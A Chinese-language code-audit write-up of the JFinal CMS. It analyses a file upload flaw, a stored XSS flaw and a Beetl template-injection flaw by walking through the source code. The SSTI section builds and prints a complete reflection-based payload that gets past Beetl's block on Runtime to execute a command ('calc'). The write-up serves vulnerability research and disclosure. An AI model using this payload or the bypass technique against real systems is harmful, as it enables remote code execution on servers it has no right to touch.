前言
学了一两个月的Java代码审计,对一些审计有了一定了解了。所以决定审计一下JavaWeb CMS,随便申请一下CVE。
认真严肃的挑选了一波之后,我选择了这个CMS,可能是缘分,也可能是好玩吧。主要看的是这个项目有QQ群,可以加群讨论一下问题,方便更好的研究。先加群不说别的。gitee地址,GitHub地址。
环境搭建
环境的搭建很简单,几种方式可以选择。第一种直接git项目的源码,idea打开项目,然后idea会自动导入下载maven。
第二种方式是去GitHub或者Gitee上下载发行版。
gitee下载地址
github下载地址
任意文件上传漏洞
Arbitrary file upload vulnerability文件上传漏洞存在于管理员后台中的模板管理。
漏洞分析
断点调试,断点设置在E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java
模板页面的操作的都是由FileManangerController.java控制。
HttpServletRequest request = getRequest();
有点Java知识的人都认识这个,所以第一个断点设置在这里。- 第二个断点,审计的上传漏洞,肯定设置在上传方法里。
漏洞源码
判断是否为空的操作
1 | public JSONObject add() { |
项目主说这里修改一下就好了,但默认是这样子的,可见开发者自以为是可以防止任意上传文件漏洞,但其实这里默认是这样子设置。
默认设置是一次最多上传5个文件,文件大小不超过16MB。
1 | long maxSize = NumberUtils.parseLong(MAX_SIZE); |
这里maxSize是默认为0。
下面的一段代码是判断是否只能上传图片,在配置文件E:\Soures\jfinal_cms\src\main\resources\conf\filemanager.properties
下可以看到文件复写和上传文件大小设置是为0的(0代表的是没有限制
),默认是可以上传其他文件(upload-imagesonly=false
)。
1 | if (!isImage(item.getName()) |
创建临时文件,后面会用到。作用是先将上传的文件以临时文件的存放着,然后把复制到上传目录下,重新命名删除临时文件。
1 | tmpFile = new File(this.fileRoot + TMP_PATH + "filemanager_" + System.currentTimeMillis() + ".tmp"); |
文件上传后的操作,也就是上面说到的复制重命名,最后将临时文件删除。
1 | // file rename |
总结
- 开发者需要通过限制上传文件大小来限制一些文件的上传,但默认配置是没有限制,很可能是开发者为了自己开发方便,但最后忘记修改设置。
- 上传文件,判断是否是上传图片之后,没有在做其他判断限制,然后导致任意文件上传漏洞。
- 配置文件中默认是不开启
filemanager.upload-imagesonly
需要使用者手动设置。 - 开发者仅仅在前端做了文件上传的白名单,后端没有没有进行校验,导致黑客可以绕过前端验证,上传任意恶意文件。(前端验证本文没有体现,但真的做了限制,有详情的童鞋可以去看看。)
存储型XSS漏洞
漏洞分析
漏洞源码存在于E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\front\controller\PersonController.java
第一部分功能有以下几个:
- 将提交数据Json化
- 根据用户Session判断用户id(数据库内的id)
- 判断旧密码和新设置的密码是否正确
- 判断Email的格式是否正确
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38public void save() {
JSONObject json = new JSONObject();
json.put("status", 2);// 失败
SysUser user = (SysUser) getSessionUser();
int userid = user.getInt("userid");
SysUser model = getModel(SysUser.class);
if (userid != model.getInt("userid")) {
json.put("msg", "提交数据错误!");
renderJson(json.toJSONString());
return;
}
// 第三方用户不需要密码
if (user.getInt("usertype") != 4) {
String oldPassword = getPara("old_password");
String newPassword = getPara("new_password");
String newPassword2 = getPara("new_password2");
if (!user.getStr("password").equals(JFlyFoxUtils.passwordEncrypt(oldPassword))) {
json.put("msg", "密码错误!");
renderJson(json.toJSONString());
return;
}
if (StrUtils.isNotEmpty(newPassword) && !newPassword.equals(newPassword2)) {
json.put("msg", "两次新密码不一致!");
renderJson(json.toJSONString());
return;
} else if (StrUtils.isNotEmpty(newPassword)) { // 输入密码并且一直
model.set("password", JFlyFoxUtils.passwordEncrypt(newPassword));
}
}
if (StrUtils.isNotEmpty(model.getStr("email")) && model.getStr("email").indexOf("@") < 0) {
json.put("msg", "email格式错误!");
renderJson(json.toJSONString());
return;
}model.update();
方法是更新数据,将信息写入数据库。具体实习方法可以下一部分代码。
1 | model.update(); |
首先方法会进行一个判断,然后创建一个sql语句。
1 | public boolean update() { |
创建数据库连接,更新数据。 可以看到执行完这步就会更新数据库内容。(利用MySQL语句监控,可以看到最下面的一条是执行的sql语句
)
1 | // -------- |
总结
- 我们可以看到整个数据更新的过程,我们没有看到任何的防护措施,过滤字符手段。
SSTI模板注入漏洞
前言
感谢长亭科技大佬@Lilc耐心指导,这个漏洞也是这位大佬挖的,我只是漏洞复现并给大家分享一下笔者构造SSTI模板注入漏洞payload经验。
漏洞存在的位置在管理员后台模板修改下,可以修改模板代码,插入恶意代码等操作。插入一段恶意代码可导致远程代码执行。
漏洞详情
漏洞分析
点击保存页面的首先会进入到E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java
然后判断请求方法,是POST方法会判断是upload还是saveFile,如果是saveFile方法会跳转到E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManager.java
中的saveFile方法。
1 | public JSONObject saveFile() { |
前期可以修改代码机制我们已经了解的很清楚了,没有做任何的防护措施。但这些远远达不到SSTI的要求。判断一个系统或者CMS是否使用了任何一个模板引擎
,先有比较大众Java模板引擎有Velocity,Freemarker,而这款模板引擎是beetl,挖掘之间根本没有了解过。据查阅知道,这是一款国产的模板引擎。官方地址,官网说有很多优势,感觉一般般,吹牛的水分比较大吧。在研究这个模板的时候,官方给文档真的很差,有些东西说的一知半解没有说清楚。
知识补充
查阅官方文档,了解这款模板引擎调用Java方法和属性模式。
本文构造payload得有简单Java的反射机制基础。推荐文章,文章中用了一个简单案例再现了Java的反射。推荐文章,文章用很多解释是关于Java反射和类加载的知识内容。[新增]推荐视频
[video(video-hkteTk7M-1587384668444)(type-bilibili)(url-https://player.bilibili.com/player.html?aid=63805421)(image-https://ss.csdn.net/p?http://i0.hdslb.com/bfs/archive/3ea308d0ab04ed422f45dc47274940762348f4fa.jpg)(title-【Java反射机制】不懂反射机制不配当java程序员?)]
Payload构造
这里笔者将payload拆解了,方便更好的解读一下payload。由于beetl模板引擎禁止了java.lang.Runtime
和java.lang.Process
,所以这里不能直接调用进程来达到远程代码执行的效果。这里采用Java反射机制来达到效果,当然也有其他的方法,比例写文件等。读者们可以自行尝试。
1 | ${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec", |
先忽视上面的payload,下面会一步步解答,最后完整的payload
- 我们且看第一行,按照上面给出简单案例方法,我们应该这样子就可以了
@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc")
- 但是直接String.class直接写模板是找不到的,所以我们得继续构造payload,将String.class转化
@java.lang.Class.forName("java.lang.String")
的形式,然后payload就变成下面这样子了。@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc")
- 照道理上面就可以直接使用了,但是呢Runtime类没有无参构造方法,因此不能使用newInstance()方法来实例化。只能通过调用getRuntime()方法来进行实例化。所以newInstance()得替换成
@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)
最终payload就变成了下面这样子。1
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
总结
遇到使用了模板的解析CMS可以根据模板解析语言尝试执行命令,若遇到函数警用的情况可以尝试一些Bypass方法,比例一些反射、反序列化、字节码修改等。SSTI注入难的其实如何构造Payload,构造好了之后一切自然而然了。